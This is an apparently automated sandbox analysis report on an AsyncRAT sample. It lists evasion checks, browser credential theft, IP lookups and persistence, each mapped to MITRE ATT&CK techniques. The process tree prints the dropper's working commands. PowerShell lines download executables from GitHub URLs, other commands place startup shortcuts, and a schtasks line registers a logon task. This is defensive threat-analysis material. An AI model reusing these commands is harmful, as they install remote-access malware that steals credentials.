asyncrat | 412476007cd57ca529c83c386125249fbe0952a2522f5d838ffd3fb10a6e1f74

Virtualization/Sandbox Evasion

Processes:

output.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	output.exe

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exepowershell.exe

flow	pid	Process
7	4996	powershell.exe
9	4996	powershell.exe
21	684	powershell.exe
22	684	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
2380	powershell.exe
768	powershell.exe
684	powershell.exe
4996	powershell.exe

Downloads MZ/PE file

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

output.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMWare, Inc.\VMWare Tools	output.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

output.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	output.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Loader.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	Loader.exe

Drops startup file 2 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\output.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Loader.lnk	powershell.exe

Executes dropped EXE 3 IoCs

Processes:

output.exeLoader.exeWINDOWS.exe

pid	Process
2628	output.exe
3716	Loader.exe
4636	WINDOWS.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
19	ip4.seeip.org
34	ip-api.com

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

output.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	output.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	output.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 1 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

output.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S	output.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

output.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	output.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	output.exe

Delays execution with timeout.exe 1 IoCs

evasion

Processes:

timeout.exe

pid	Process
2320	timeout.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

Processes:

output.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Logical Unit Id 0	output.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosInformation	output.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer	output.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName	output.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

Processes:

schtasks.exe

pid	Process
2364	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeLoader.exeWINDOWS.exe

pid	Process
4996	powershell.exe
4996	powershell.exe
2380	powershell.exe
2380	powershell.exe
684	powershell.exe
684	powershell.exe
768	powershell.exe
768	powershell.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
3716	Loader.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe
4636	WINDOWS.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exeoutput.exepowershell.exeLoader.exeWINDOWS.exe

description	pid	Process
Token: SeDebugPrivilege	4996	powershell.exe
Token: SeDebugPrivilege	2380	powershell.exe
Token: SeDebugPrivilege	684	powershell.exe
Token: SeDebugPrivilege	2628	output.exe
Token: SeDebugPrivilege	768	powershell.exe
Token: SeDebugPrivilege	3716	Loader.exe
Token: SeDebugPrivilege	3716	Loader.exe
Token: SeDebugPrivilege	4636	WINDOWS.exe
Token: SeDebugPrivilege	4636	WINDOWS.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

cmd.exeLoader.execmd.execmd.exe

description	pid	Process	procid_target
PID 2492 wrote to memory of 4996	2492	cmd.exe	83
PID 2492 wrote to memory of 4996	2492	cmd.exe	83
PID 2492 wrote to memory of 2380	2492	cmd.exe	85
PID 2492 wrote to memory of 2380	2492	cmd.exe	85
PID 2492 wrote to memory of 2628	2492	cmd.exe	86
PID 2492 wrote to memory of 2628	2492	cmd.exe	86
PID 2492 wrote to memory of 684	2492	cmd.exe	88
PID 2492 wrote to memory of 684	2492	cmd.exe	88
PID 2492 wrote to memory of 768	2492	cmd.exe	93
PID 2492 wrote to memory of 768	2492	cmd.exe	93
PID 2492 wrote to memory of 3716	2492	cmd.exe	94
PID 2492 wrote to memory of 3716	2492	cmd.exe	94
PID 3716 wrote to memory of 4988	3716	Loader.exe	96
PID 3716 wrote to memory of 4988	3716	Loader.exe	96
PID 3716 wrote to memory of 5016	3716	Loader.exe	98
PID 3716 wrote to memory of 5016	3716	Loader.exe	98
PID 5016 wrote to memory of 2320	5016	cmd.exe	100
PID 5016 wrote to memory of 2320	5016	cmd.exe	100
PID 4988 wrote to memory of 2364	4988	cmd.exe	101
PID 4988 wrote to memory of 2364	4988	cmd.exe	101
PID 5016 wrote to memory of 4636	5016	cmd.exe	104
PID 5016 wrote to memory of 4636	5016	cmd.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\OTEYZ_Loader.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/DD/releases/download/D/output.exe -OutFile C:\Users\Admin\Desktop\output.exe -ErrorAction SilentlyContinue"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut1 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\output.lnk'); $shortcut1.TargetPath = 'C:\Users\Admin\Desktop\output.exe'; $shortcut1.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2380
- C:\Users\Admin\Desktop\output.exe
  C:\Users\Admin\Desktop\output.exe
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Maps connected drives based on registry
  - Checks SCSI registry key(s)
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious use of AdjustPrivilegeToken
  PID:2628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/uu/releases/download/dss/Loader.exe -OutFile C:\Users\Admin\Desktop\Loader.exe -ErrorAction SilentlyContinue"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut2 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Loader.lnk'); $shortcut2.TargetPath = 'C:\Users\Admin\Desktop\Loader.exe'; $shortcut2.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:768
- C:\Users\Admin\Desktop\Loader.exe
  C:\Users\Admin\Desktop\Loader.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3716
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4988
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"'
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD810.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5016
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:2320
  - - C:\Users\Admin\AppData\Roaming\WINDOWS.exe
      "C:\Users\Admin\AppData\Roaming\WINDOWS.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion